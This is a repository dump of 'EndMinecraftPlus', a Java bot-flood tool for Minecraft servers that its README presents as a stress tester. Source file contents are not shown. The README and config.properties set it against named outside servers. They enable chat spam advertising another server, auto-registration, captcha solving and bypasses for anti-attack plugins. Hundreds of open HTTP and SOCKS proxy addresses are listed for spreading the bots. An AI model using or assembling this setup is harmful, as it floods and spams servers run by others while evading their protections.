├── .gitattributes
├── .gitignore
├── .vscode
├── settings.json
└── tasks.json
├── README.md
├── bin
├── luohuayu
│ ├── ACProtocol
│ │ └── ACProtocol.class
│ ├── EndMinecraftPlus
│ │ ├── ASMInject.class
│ │ ├── Utils.class
│ │ ├── proxy
│ │ │ └── ProxyPool.class
│ │ └── tasks
│ │ │ └── attack
│ │ │ ├── DistributedBotAttack$1.class
│ │ │ ├── DistributedBotAttack.class
│ │ │ ├── IAttack.class
│ │ │ └── MotdAttack.class
│ └── MCForgeProtocol
│ │ ├── MCForge$1.class
│ │ ├── MCForge.class
│ │ ├── MCForgeHandShake.class
│ │ ├── MCForgeInject.class
│ │ ├── MCForgeUtils.class
│ │ └── UnknowPacket.class
├── me
│ └── alikomi
│ │ └── endminecraft
│ │ ├── Main.class
│ │ └── Menu.class
└── xyz
│ └── yuanpi
│ ├── CastUtil.class
│ ├── PropsUtil.class
│ ├── StringUtil.class
│ └── config.class
├── config.properties
├── http.txt
├── lib
├── MC-1.8.jar
└── javassist-3.22.0-CR2.jar
├── run.bat
├── socks.txt
└── src
├── luohuayu
├── ACProtocol
│ └── ACProtocol.java
├── EndMinecraftPlus
│ ├── ASMInject.java
│ ├── Utils.java
│ ├── proxy
│ │ └── ProxyPool.java
│ └── tasks
│ │ └── attack
│ │ ├── DistributedBotAttack.java
│ │ ├── IAttack.java
│ │ └── MotdAttack.java
└── MCForgeProtocol
│ ├── MCForge.java
│ ├── MCForgeHandShake.java
│ ├── MCForgeInject.java
│ ├── MCForgeUtils.java
│ └── UnknowPacket.java
├── me
└── alikomi
│ └── endminecraft
│ ├── Main.java
│ └── Menu.java
└── xyz
└── yuanpi
├── CastUtil.java
├── PropsUtil.java
├── StringUtil.java
└── config.java
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 |
2 | *.properties
3 | EndMinecraftPlus2.jar
4 | http.txt
5 | run.bat
6 | *.bat
7 | *.bat
8 | config.properties
9 | *.properties
10 | *.txt
11 |
--------------------------------------------------------------------------------
/.vscode/settings.json:
--------------------------------------------------------------------------------
1 | {
2 | "java.project.referencedLibraries": {
3 | "include": [
4 | "lib/**/*.jar"
5 | ],
6 | "exclude": [
7 | "lib/MC-1.10.jar"
8 | ]
9 | }
10 | }
--------------------------------------------------------------------------------
/.vscode/tasks.json:
--------------------------------------------------------------------------------
1 | {
2 | "version": "2.0.0",
3 | "tasks": [
4 | {
5 | "type": "java",
6 | "mainClass": "me.alikomi.endminecraft.Main",
7 | "targetPath": "${workspaceFolder}/${workspaceFolderBasename}.jar",
8 | "elements": [
9 | "${compileOutput}",
10 | "${dependencies}"
11 | ],
12 | "problemMatcher": [],
13 | "label": "java: exportjar:EndMinecraftPlusB",
14 | "group": {
15 | "kind": "build",
16 | "isDefault": true
17 | }
18 | }
19 | ]
20 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # EndMinecraftPlus
2 | 基于EndMinecraft优化修改的Minecraft压测工具
3 |
4 | java练手用的,不建议学习
5 |
6 | [](https://github.com/trekhleb/state-of-the-art-shitcode)
7 |
8 | 配置文件:config.properties
9 |
10 | ```java
11 | #description
12 | #Fri Mar 11 23:08:35 CST 2022
13 | #名称前缀
14 | name=233
15 | #调试
16 | debug=false
17 | #自定义刷屏
18 | customspam=true
19 | #心跳包
20 | tab=true
21 | #端口
22 | port=25565
23 | #代理文件
24 | proxies=http.txt
25 | #刷屏延迟
26 | delay=10
27 | #自定义刷屏内容
28 | custommessage=Join ZeroPixel and get MVP++ by free at mc.zeropixel.top
29 | #只有2
30 | mode=2
31 | #ip
32 | ip=mc.mini1.club
33 | #代理类型
34 | pxtype=http
35 | #自动识别authme验证码
36 | captcha=true
37 | #authme验证码长度
38 | authmelength
39 | #在攻击前请求motd,以绕过老版本AntiAttack
40 | lele=false
41 | #刷屏
42 | spam=true
43 | #刷屏延迟
44 | spamdelay=5000
45 | reconnectdelay=5000
46 | reconnectbypass=true
47 | autohh=false
48 | hhdelay=10000
49 |
50 | ```
51 |
52 |
53 |
54 | *支持*
55 |
56 | 1.自动注册
57 |
58 | 2.自动识别验证码(某些服务器)
59 |
60 | 3. 自定义刷屏
61 | 4. 选择代理类型
62 | 5. 从本地载入配置
63 |
64 | *修改内容:*
65 | 1.重构大量核心代码
66 | 2.大幅度性能负优化
67 | 3.修复Forge协议无法进服
68 |
--------------------------------------------------------------------------------
/bin/luohuayu/ACProtocol/ACProtocol.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/ACProtocol/ACProtocol.class
--------------------------------------------------------------------------------
/bin/luohuayu/EndMinecraftPlus/ASMInject.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/EndMinecraftPlus/ASMInject.class
--------------------------------------------------------------------------------
/bin/luohuayu/EndMinecraftPlus/Utils.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/EndMinecraftPlus/Utils.class
--------------------------------------------------------------------------------
/bin/luohuayu/EndMinecraftPlus/proxy/ProxyPool.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/EndMinecraftPlus/proxy/ProxyPool.class
--------------------------------------------------------------------------------
/bin/luohuayu/EndMinecraftPlus/tasks/attack/DistributedBotAttack$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/EndMinecraftPlus/tasks/attack/DistributedBotAttack$1.class
--------------------------------------------------------------------------------
/bin/luohuayu/EndMinecraftPlus/tasks/attack/DistributedBotAttack.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/EndMinecraftPlus/tasks/attack/DistributedBotAttack.class
--------------------------------------------------------------------------------
/bin/luohuayu/EndMinecraftPlus/tasks/attack/IAttack.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/EndMinecraftPlus/tasks/attack/IAttack.class
--------------------------------------------------------------------------------
/bin/luohuayu/EndMinecraftPlus/tasks/attack/MotdAttack.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/EndMinecraftPlus/tasks/attack/MotdAttack.class
--------------------------------------------------------------------------------
/bin/luohuayu/MCForgeProtocol/MCForge$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/MCForgeProtocol/MCForge$1.class
--------------------------------------------------------------------------------
/bin/luohuayu/MCForgeProtocol/MCForge.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/MCForgeProtocol/MCForge.class
--------------------------------------------------------------------------------
/bin/luohuayu/MCForgeProtocol/MCForgeHandShake.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/MCForgeProtocol/MCForgeHandShake.class
--------------------------------------------------------------------------------
/bin/luohuayu/MCForgeProtocol/MCForgeInject.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/MCForgeProtocol/MCForgeInject.class
--------------------------------------------------------------------------------
/bin/luohuayu/MCForgeProtocol/MCForgeUtils.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/MCForgeProtocol/MCForgeUtils.class
--------------------------------------------------------------------------------
/bin/luohuayu/MCForgeProtocol/UnknowPacket.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/luohuayu/MCForgeProtocol/UnknowPacket.class
--------------------------------------------------------------------------------
/bin/me/alikomi/endminecraft/Main.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/me/alikomi/endminecraft/Main.class
--------------------------------------------------------------------------------
/bin/me/alikomi/endminecraft/Menu.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/me/alikomi/endminecraft/Menu.class
--------------------------------------------------------------------------------
/bin/xyz/yuanpi/CastUtil.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/xyz/yuanpi/CastUtil.class
--------------------------------------------------------------------------------
/bin/xyz/yuanpi/PropsUtil.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/xyz/yuanpi/PropsUtil.class
--------------------------------------------------------------------------------
/bin/xyz/yuanpi/StringUtil.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/xyz/yuanpi/StringUtil.class
--------------------------------------------------------------------------------
/bin/xyz/yuanpi/config.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/bin/xyz/yuanpi/config.class
--------------------------------------------------------------------------------
/config.properties:
--------------------------------------------------------------------------------
1 | #description
2 | #Thu May 26 20:38:56 CST 2022
3 | spamdelay=1000
4 | name=NMSL
5 | debug=true
6 | customspam=false
7 | tab=false
8 | port=33333
9 | proxies=http.txt
10 | delay=10
11 | custommessage=test
12 | mode=2
13 | pxtype=http
14 | ip=43.249.192.176
15 | captcha=false
16 | test=false
17 | lele=false
18 | spam=true
19 | reconnectdelay=5000
20 | reconnectbypass=true
21 | autohh=false
22 | hhdelay=10000
23 |
--------------------------------------------------------------------------------
/http.txt:
--------------------------------------------------------------------------------
1 | 103.148.195.22:8080
2 | 88.198.33.232:1080
3 | 95.213.195.134:80
4 | 118.69.50.154:443
5 | 118.69.50.154:80
6 | 84.204.40.155:8080
7 | 157.245.222.183:80
8 | 169.57.1.85:8123
9 | 176.114.209.191:8080
10 | 143.255.142.80:8080
11 | 207.157.220.8:8080
12 | 209.190.32.28:3128
13 | 192.99.160.45:8080
14 | 3.211.17.212:80
15 | 27.72.244.228:8080
16 | 118.69.50.154:443
17 | 118.69.50.154:80
18 | 150.109.32.166:80
19 | 143.255.142.80:8080
20 | 62.176.12.111:8080
21 | 169.57.1.85:8123
22 | 176.114.209.191:8080
23 | 63.151.67.7:8080
24 | 89.204.214.142:8080
25 | 178.210.129.150:1234
26 | 207.157.220.8:8080
27 | 201.91.82.155:3128
28 | 3.211.17.212:80
29 | 200.54.22.74:8080
30 | 47.91.44.217:8000
31 | 66.23.233.90:3128
32 | 95.213.195.134:80
33 | 118.69.50.154:443
34 | 118.69.50.154:80
35 | 150.109.32.166:80
36 | 176.114.209.191:8080
37 | 169.57.1.85:8123
38 | 207.157.220.8:8080
39 | 200.111.182.6:443
40 | 209.190.32.28:3128
41 | 3.211.17.212:80
42 | 200.188.151.212:8080
43 | 27.116.51.119:8080
44 | 200.54.22.74:8080
45 | 47.91.44.217:8000
46 | 88.198.33.232:1080
47 | 118.69.50.154:443
48 | 118.69.50.154:80
49 | 122.226.57.70:8888
50 | 95.213.195.134:80
51 | 150.109.32.166:80
52 | 36.92.93.61:8080
53 | 197.155.158.22:80
54 | 169.57.1.85:8123
55 | 207.157.220.8:8080
56 | 3.211.17.212:80
57 | 181.192.2.23:8080
58 | 118.69.50.154:443
59 | 118.69.50.154:80
60 | 169.57.1.85:8123
61 | 110.49.11.50:8080
62 | 207.157.220.8:8080
63 | 3.211.17.212:80
64 | 201.28.39.6:3128
65 | 202.69.38.82:8080
66 | 180.211.183.2:8080
67 | 118.69.50.154:443
68 | 118.69.50.154:80
69 | 169.57.1.85:8123
70 | 119.15.95.158:8080
71 | 207.157.220.8:8080
72 | 3.211.17.212:80
73 | 118.69.50.154:443
74 | 118.69.50.154:80
75 | 169.57.1.85:8123
76 | 207.157.220.8:8080
77 | 3.211.17.212:80
78 | 193.242.151.45:8080
79 | 47.91.44.217:8000
80 | 118.69.50.154:443
81 | 118.69.50.154:80
82 | 150.109.32.166:80
83 | 169.57.1.85:8123
84 | 207.157.220.8:8080
85 | 3.211.17.212:80
86 | 162.150.62.93:443
87 | 103.241.182.97:80
88 | 123.56.124.235:3128
89 | 187.111.160.8:42579
90 | 65.21.190.58:8888
91 | 67.73.184.178:8081
92 | 103.78.254.78:80
93 | 47.74.226.8:5001
94 | 120.220.220.95:8085
95 | 144.217.240.185:9300
96 | 43.250.127.98:9001
97 | 196.1.95.117:80
98 | 43.255.113.232:84
99 | 43.254.132.123:8118
100 | 103.144.79.186:8080
101 | 80.249.135.5:8080
102 | 186.3.9.212:999
103 | 201.71.2.107:999
104 | 103.76.151.46:8181
105 | 200.61.16.80:8080
106 | 45.229.56.64:999
107 | 176.241.95.162:41890
108 | 185.61.152.137:8080
109 | 103.93.237.81:8080
110 | 182.253.82.157:8080
111 | 190.120.186.10:999
112 | 49.156.47.162:8080
113 | 103.71.22.2:83
114 | 36.95.249.157:8080
115 | 45.225.8.0:40033
116 | 103.116.203.244:43520
117 | 122.99.125.85:80
118 | 190.217.14.126:999
119 | 154.236.179.226:1976
120 | 144.217.7.157:5566
121 | 105.19.63.217:9812
122 | 177.54.229.1:9292
123 | 91.142.172.7:41890
124 | 103.41.212.227:44759
125 | 190.202.111.202:8080
126 | 94.247.241.70:53640
127 | 47.95.203.227:8118
128 | 200.29.109.112:44749
129 | 103.212.93.233:48434
130 | 176.222.63.9:80
131 | 115.29.170.58:8118
132 | 103.29.185.54:8181
133 | 196.3.97.71:23500
134 | 202.53.171.114:80
135 | 188.133.157.61:10000
136 | 50.232.250.157:8080
137 | 101.51.139.179:8080
138 | 103.151.177.221:8080
139 | 190.120.248.4:999
140 | 181.78.16.225:999
141 | 178.216.24.80:55443
142 | 97.102.248.16:8118
143 | 120.42.132.39:3712
144 | 51.75.206.209:80
145 | 41.207.248.60:8080
146 | 119.110.72.2:3888
147 | 181.74.81.195:999
148 | 186.233.186.60:8080
149 | 121.13.252.58:41564
150 | 116.254.116.99:8080
151 | 194.219.175.210:8080
152 | 202.62.10.51:8080
153 | 201.217.55.97:8080
154 | 154.236.168.169:1981
155 | 36.67.52.35:8080
156 | 138.0.188.134:10001
157 | 181.129.2.90:8081
158 | 124.204.33.162:8000
159 | 95.216.194.46:1081
160 | 41.86.251.61:8080
161 | 190.183.157.232:8080
162 | 102.68.128.212:8080
163 | 222.216.37.138:808
164 | 58.27.255.98:80
165 | 190.217.7.73:999
166 | 45.6.108.158:8080
167 | 190.2.210.114:999
168 | 54.39.102.233:3128
169 | 103.239.201.86:1337
170 | 51.68.82.156:8118
171 | 182.253.73.130:8080
172 | 190.109.6.114:999
173 | 182.253.159.75:8080
174 | 178.62.83.212:3128
175 | 138.219.14.214:9812
176 | 201.49.196.237:53281
177 | 124.248.190.213:8080
178 | 45.236.172.146:999
179 | 182.53.50.2:3128
180 | 77.236.238.179:8080
181 | 167.71.5.83:8080
182 | 79.111.13.155:50625
183 | 201.217.49.2:80
184 | 103.155.196.23:8080
185 | 142.44.148.56:8080
186 | 179.1.73.100:999
187 | 159.203.61.169:3128
188 | 146.59.199.12:80
189 | 170.80.202.234:999
190 | 5.104.174.199:23500
191 | 112.109.20.106:6060
192 | 181.196.205.250:38178
193 | 136.243.37.84:9090
194 | 41.65.236.53:1976
195 | 143.208.58.82:8080
196 | 179.124.31.233:8080
197 | 195.158.30.232:3128
198 | 112.6.117.135:8085
199 | 177.53.154.213:999
200 | 196.219.202.74:8080
201 | 103.161.165.33:8181
202 | 181.176.161.39:999
203 | 181.143.191.138:999
204 | 103.40.122.20:8087
205 | 131.221.233.210:53281
206 | 216.155.89.66:999
207 | 176.214.99.101:1256
208 | 183.88.232.207:8080
209 | 184.95.0.218:8181
210 | 61.135.155.82:443
211 | 77.70.35.87:37475
212 | 65.108.49.98:8888
213 | 112.250.107.37:53281
214 | 161.117.89.36:8888
215 | 182.163.60.105:12345
216 | 103.218.102.162:8080
217 | 95.111.239.49:3128
218 | 180.250.204.91:8088
219 | 118.99.104.136:8080
220 | 112.133.215.24:8080
221 | 187.217.54.84:80
222 | 31.43.52.176:41890
223 | 180.165.134.209:53281
224 | 138.117.230.140:999
225 | 216.137.184.253:80
226 | 190.107.224.150:3128
227 | 181.176.211.168:8080
228 | 162.150.62.96:443
229 | 197.159.142.167:8008
230 | 62.201.212.214:8080
231 | 103.231.78.36:80
232 | 123.231.221.178:8080
233 | 65.108.49.109:8888
234 | 167.71.5.83:3128
235 | 80.65.28.57:30962
236 | 43.242.135.182:8080
237 | 213.178.250.33:8080
238 | 168.90.15.177:999
239 | 45.189.253.225:999
240 | 176.214.97.55:1256
241 | 105.28.176.41:9812
242 | 177.247.7.158:8080
243 | 1.1.220.100:8080
244 | 05.189.229.42:1081
245 | 66.96.238.40:8080
246 | 103.142.108.145:8080
247 | 45.114.38.25:8080
248 | 202.62.11.197:8080
249 | 103.123.64.24:8888
250 | 167.71.199.228:8080
251 | 5.149.219.201:8080
252 | 62.78.58.24:8080
253 | 71.25.47.187:8080
254 | 36.67.151.11:80
255 | 213.32.75.44:9300
256 | 45.172.111.22:999
257 | 179.125.119.170:8080
258 | 176.101.89.226:33470
259 | 162.150.62.95:443
260 | 165.16.5.125:1981
261 | 45.230.172.11:8080
262 | 82.210.8.173:80
263 | 180.250.153.129:53281
264 | 162.219.119.225:8080
265 | 14.1.102.41:3127
266 | 62.133.171.178:8080
267 | 202.180.17.86:8080
268 | 61.191.56.60:8085
269 | 185.103.168.78:8080
270 | 212.64.72.199:8080
271 | 47.89.153.213:80
272 | 111.90.188.206:8080
273 | 115.74.246.138:8080
274 | 95.104.54.227:42119
275 | 88.255.185.254:8080
276 | 119.82.240.69:6060
277 | 39.106.71.115:7890
278 | 103.137.91.250:8080
279 | 103.243.114.206:8080
280 | 103.47.67.158:8080
281 | 103.4.94.12:3128
282 | 212.19.7.246:3128
283 | 42.192.22.233:8118
284 | 103.147.77.66:5009
285 | 36.67.237.146:3128
286 | 115.127.162.234:8080
287 | 213.81.149.73:9999
288 | 200.178.26.50:3128
289 | 165.73.129.149:56975
290 | 79.122.225.166:8080
291 | 103.19.58.138:8080
292 | 80.90.132.128:8888
293 | 192.99.38.64:1081
294 | 220.247.171.242:8080
295 | 49.234.74.140:7788
296 | 123.163.55.123:3128
297 | 161.97.123.237:3128
298 | 180.183.2.175:8080
299 | 202.152.24.50:8080
300 | 96.9.77.8:8080
301 | 36.91.133.49:10000
302 | 3.128.120.252:80
303 | 80.243.158.6:8080
304 | 113.160.208.255:8080
305 | 101.53.154.137:2017
306 | 190.60.104.218:3128
307 | 120.194.55.139:6969
308 | 92.202.16.197:80
309 | 106.54.128.253:999
310 | 36.94.98.146:8080
311 | 170.83.242.250:999
312 | 41.206.36.90:8080
313 | 177.11.24.220:8083
314 | 50.235.149.74:8080
315 | 103.146.196.33:8080
316 | 114.7.193.214:8080
317 | 213.230.97.10:3128
318 | 65.108.48.25:3128
319 | 112.78.137.106:8080
320 | 103.37.141.69:80
321 | 103.142.108.149:8080
322 | 89.70.153.61:8118
323 | 66.94.120.161:443
324 | 102.38.21.24:1976
325 | 203.124.60.109:8080
326 | 103.138.27.250:6000
327 | 159.203.61.169:8080
328 | 208.180.105.70:8080
329 | 5.16.1.17:8080
330 | 177.87.168.6:53281
331 | 103.231.218.246:8080
332 | 201.234.53.214:999
333 | 95.161.188.246:38302
334 | 36.94.142.163:8000
335 | 190.85.253.142:8080
336 | 103.159.46.41:83
337 | 180.97.87.63:80
338 | 197.157.219.169:48625
339 | 103.11.216.199:9812
340 | 161.132.122.61:999
341 | 46.243.220.227:8118
342 | 36.95.84.151:41890
343 | 24.51.32.59:8080
344 | 41.77.13.186:53281
345 | 138.117.231.130:999
346 | 176.215.184.157:1256
347 | 61.255.239.33:8008
348 | 131.100.51.250:999
349 | 43.249.224.172:83
350 | 103.53.45.142:9812
351 | 193.164.131.202:7890
352 | 152.231.29.47:8080
353 | 43.245.93.241:53805
354 | 103.208.200.115:23500
355 | 190.119.211.42:9812
356 | 167.114.96.27:9300
357 | 41.86.42.41:8080
358 | 46.18.202.204:8080
359 | 114.4.104.254:3128
360 | 177.23.187.95:5566
361 | 186.1.45.172:8080
362 | 91.209.114.181:6789
363 | 112.6.117.178:8085
364 | 198.229.231.13:8080
365 | 154.236.189.23:1981
366 | 20.113.24.12:8080
367 | 105.112.142.210:8080
368 | 188.133.137.9:8081
369 | 115.96.208.124:8080
370 | 187.188.169.169:8080
371 | 198.52.241.12:999
372 | 45.172.111.14:999
373 | 3.85.7.155:8083
374 | 201.77.108.130:999
375 | 82.114.101.86:1256
376 | 181.224.207.20:999
377 | 92.60.238.12:80
378 | 151.106.18.125:1080
379 | 217.219.247.208:8080
380 | 103.155.217.156:41482
381 | 181.224.204.22:22800
382 | 200.54.101.220:999
383 | 64.227.62.123:80
384 | 47.113.106.44:443
385 | 47.242.176.219:3128
386 | 84.247.130.114:8080
387 | 102.130.79.1:3128
388 | 176.236.85.246:9090
389 | 43.255.113.232:81
390 | 80.244.229.102:10000
391 | 117.54.114.99:80
392 | 159.65.133.175:31280
393 | 36.66.124.193:3128
394 | 200.60.12.43:999
395 | 156.200.116.71:1976
396 | 103.130.70.209:83
397 | 39.107.227.240:3128
398 | 178.252.175.10:8080
399 | 45.189.253.105:999
400 | 43.243.174.3:84
401 | 46.173.104.245:8080
402 | 222.165.205.204:8080
403 | 180.250.252.218:8080
404 | 190.107.232.138:999
405 | 85.25.91.141:15333
406 | 153.120.0.136:10080
407 | 190.186.18.177:999
408 | 45.71.108.224:8080
409 | 181.224.50.137:8080
410 | 176.110.121.90:21776
411 | 178.115.236.54:8080
412 | 103.99.176.159:3128
413 | 41.216.178.151:8080
414 | 185.141.10.227:34082
415 | 103.144.18.74:8080
416 | 196.1.184.194:47646
417 | 103.107.58.183:9812
418 | 202.169.252.222:8181
419 | 103.161.164.111:8181
420 | 190.2.210.250:999
421 | 103.122.64.119:8080
422 | 179.43.101.150:999
423 | 161.22.33.181:999
424 | 103.11.106.148:8181
425 | 50.193.36.173:8080
426 | 31.171.154.199:8118
427 | 103.78.170.13:83
428 | 103.65.193.185:9812
429 | 62.33.202.44:8080
430 | 158.140.181.170:10001
431 | 157.90.197.99:3128
432 | 103.97.46.214:83
433 | 138.0.89.154:999
434 | 41.72.203.182:42928
435 | 41.220.238.137:84
436 | 41.220.238.130:84
437 | 125.99.109.121:40390
438 | 103.151.247.49:10001
439 | 78.38.100.121:8080
440 | 103.214.54.254:8080
441 | 117.54.114.97:80
442 | 171.233.151.214:55443
443 |
444 |
--------------------------------------------------------------------------------
/lib/MC-1.8.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/lib/MC-1.8.jar
--------------------------------------------------------------------------------
/lib/javassist-3.22.0-CR2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hanbao233xD/YLangEMP/599656f9487608ea625b37ca477393d7e5b9a76a/lib/javassist-3.22.0-CR2.jar
--------------------------------------------------------------------------------
/run.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | java -Xmx4096m -Xms1024m -jar EndMinecraftPlus2.jar
3 | pause
--------------------------------------------------------------------------------
/socks.txt:
--------------------------------------------------------------------------------
1 | 150.129.52.74:6667
2 | 85.55.167.178:5678
3 | 1.20.96.164:4153
4 | 45.232.249.62:4145
5 | 190.221.152.130:56142
6 | 178.168.114.177:5678
7 | 143.137.148.112:5678
8 | 177.20.182.33:4153
9 | 70.166.167.38:57728
10 | 155.254.9.2:36510
11 | 212.86.74.70:1080
12 | 192.111.129.145:16894
13 | 1.20.95.95:5678
14 | 122.3.207.17:5678
15 | 81.134.144.161:1099
16 | 41.190.233.30:10801
17 | 185.217.183.229:5678
18 | 36.138.166.30:81
19 | 46.219.80.142:45237
20 | 167.249.91.48:5678
21 | 177.129.190.66:4153
22 | 139.0.21.236:5678
23 | 111.92.241.222:5678
24 | 112.78.170.27:2580
25 | 218.56.153.83:5678
26 | 8.17.28.139:39593
27 | 4.28.96.138:39593
28 | 125.141.133.48:5566
29 | 217.24.189.67:5678
30 | 79.137.225.135:4153
31 | 195.9.21.26:5002
32 | 36.92.9.75:49420
33 | 213.16.81.182:35559
34 | 202.148.26.124:5678
35 | 95.182.78.11:5678
36 | 177.12.230.106:5678
37 | 174.64.199.79:4145
38 | 192.111.135.17:18302
39 | 220.135.2.247:59171
40 | 91.250.61.113:3629
41 | 62.175.182.156:5678
42 | 85.25.195.177:5577
43 | 45.224.197.137:4145
44 | 97.105.14.11:32110
45 | 98.162.96.41:4145
46 | 177.85.53.29:5678
47 | 192.252.208.67:14287
48 | 1.20.184.75:4153
49 | 170.238.36.54:5678
50 | 117.2.164.34:5101
51 | 80.240.250.222:4145
52 | 181.204.3.218:5678
53 | 186.235.184.194:4153
54 | 113.53.29.228:13629
55 | 179.40.75.1:61362
56 | 36.67.45.71:1085
57 | 36.89.246.187:4145
58 | 202.43.73.121:4145
59 | 125.141.139.110:5566
60 | 80.82.147.2:4153
61 | 103.153.140.225:4153
62 | 103.60.187.129:52195
63 | 210.4.72.94:5678
64 | 188.169.84.30:5678
65 | 200.115.157.211:4145
66 | 50.250.56.129:48380
67 | 152.168.165.19:5678
68 | 213.6.68.94:5678
69 | 154.72.197.106:61423
70 | 45.251.231.213:5678
71 | 103.212.94.253:41363
72 | 5.20.91.12:50624
73 | 185.129.57.131:4153
74 | 165.227.178.3:20911
75 | 149.34.3.85:4145
76 | 194.44.243.186:45529
77 | 221.168.32.66:9050
78 | 45.230.8.19:5678
79 | 123.231.141.61:5678
80 | 85.90.195.99:5678
81 | 186.224.238.32:48164
82 | 190.196.20.166:44907
83 | 190.4.204.163:4145
84 | 85.29.147.90:5678
85 | 188.95.20.139:5678
86 | 193.193.240.36:48785
87 | 170.210.4.222:38432
88 | 202.166.206.59:5678
89 | 185.43.224.157:5678
90 | 81.21.115.28:1080
91 | 119.93.123.229:4145
92 | 36.84.59.53:4145
93 | 81.199.14.17:1088
94 | 124.109.52.45:1080
95 | 103.209.229.54:4153
96 | 176.113.157.149:37417
97 | 197.253.59.38:5678
98 | 222.165.215.117:52667
99 | 62.63.157.106:4153
100 | 201.222.81.33:5678
101 | 178.216.0.168:39316
102 | 46.209.22.250:3629
103 | 95.163.141.220:4145
104 | 138.197.193.107:9050
105 | 72.195.34.59:4145
106 | 41.216.69.34:5678
107 | 190.104.26.227:33638
108 | 103.194.242.254:40247
109 | 103.110.11.206:5678
110 | 104.139.74.25:34368
111 | 24.177.76.70:31008
112 | 89.108.81.117:1080
113 | 182.52.70.117:4145
114 | 170.84.50.225:4153
115 | 177.91.96.120:5678
116 | 180.211.193.102:5678
117 | 187.94.211.60:2580
118 | 177.222.146.125:5678
119 | 103.144.43.50:10801
120 | 212.200.118.254:4153
121 | 210.211.122.196:1080
122 | 187.141.129.86:4153
123 | 50.235.117.234:39593
124 | 83.103.206.56:54321
125 | 37.238.136.12:5678
126 | 177.85.234.142:5678
127 | 185.226.113.180:38030
128 | 63.151.9.74:64312
129 | 142.93.243.235:16355
130 | 80.90.238.45:10809
131 | 125.27.251.173:33008
132 | 213.32.252.134:5678
133 | 45.5.194.138:22222
134 | 188.251.218.144:4153
135 | 41.139.170.175:5678
136 | 200.27.110.29:57702
137 | 103.235.199.46:5678
138 | 43.227.128.74:4153
139 | 94.43.191.27:3629
140 | 115.85.93.178:5678
141 | 168.196.246.162:5678
142 | 103.120.38.18:5678
143 | 109.110.82.245:5678
144 | 213.74.191.38:1080
145 | 91.122.193.80:4145
146 | 50.242.122.141:32100
147 | 192.99.7.189:33118
148 | 187.44.1.248:5678
149 | 94.136.157.73:60030
150 | 138.68.155.34:55800
151 | 158.69.64.142:9200
152 | 95.31.35.210:3629
153 | 186.179.68.194:5678
154 | 95.134.113.250:5678
155 | 170.244.64.12:31476
156 | 180.180.170.188:3629
157 | 77.71.168.9:4145
158 | 189.2.86.163:4153
159 | 187.19.127.178:4145
160 | 105.22.39.206:5678
161 | 192.144.104.37:33283
162 | 197.231.196.44:37765
163 | 150.109.148.234:1234
164 | 103.140.83.25:4145
165 | 24.249.199.4:4145
166 | 45.8.116.80:1080
167 | 142.93.137.235:47896
168 | 213.7.196.26:4153
169 | 103.87.228.84:4145
170 | 181.13.142.45:5678
171 | 81.16.9.222:3629
172 | 31.146.161.194:5678
173 | 103.116.203.245:40927
174 | 178.22.116.168:5678
175 | 190.216.56.177:4153
176 | 202.162.219.12:1080
177 | 185.215.160.27:5678
178 | 159.89.167.209:8888
179 | 192.252.208.70:14282
180 | 202.169.246.55:4145
